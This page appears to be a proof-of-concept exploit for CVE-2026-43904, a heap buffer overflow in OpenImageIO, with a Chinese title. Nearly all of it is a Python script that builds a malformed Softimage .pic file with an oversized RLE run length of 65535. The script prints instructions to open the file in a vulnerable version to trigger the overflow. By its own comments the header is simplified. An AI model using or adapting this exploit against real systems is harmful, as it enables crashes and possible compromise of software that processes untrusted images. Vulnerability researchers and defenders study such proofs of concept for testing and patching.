CVE-2026-43904 OpenImageIO堆缓冲区溢出漏洞

import struct def create_exploit_pic(filename): """ PoC for CVE-2026-43904: OpenImageIO Heap Overflow This script generates a malformed .pic file to trigger the vulnerability. """ with open(filename, 'wb') as f: # Softimage .pic file magic number (big endian) f.write(struct.pack('>I', 0x5380F634)) # Image dimensions (arbitrary for PoC) width = 100 height = 100 f.write(struct.pack('>H', width)) f.write(struct.pack('>H', height)) # Padding to fill the header and reach the RLE data section # The actual header size is larger, this is simplified for PoC structure f.write(b'\x00' * 800) # Malicious RLE Packet Construction # The vulnerability occurs when the run length is not clamped. # We set a run length (e.g., 65535) larger than the scanline width (100). malicious_run_length = 65535 pixel_value = 0x41 # 'A' # Write the malicious run length and pixel value # This simulates the lack of std::min check mentioned in the advisory f.write(struct.pack('>H', malicious_run_length)) f.write(bytes([pixel_value])) print(f"[+] Malicious .pic file generated: {filename}") print(f"[+] Attempt to open this file with a vulnerable OpenImageIO version to trigger the heap overflow.") if __name__ == "__main__": create_exploit_pic('cve_2026_43904_exploit.pic')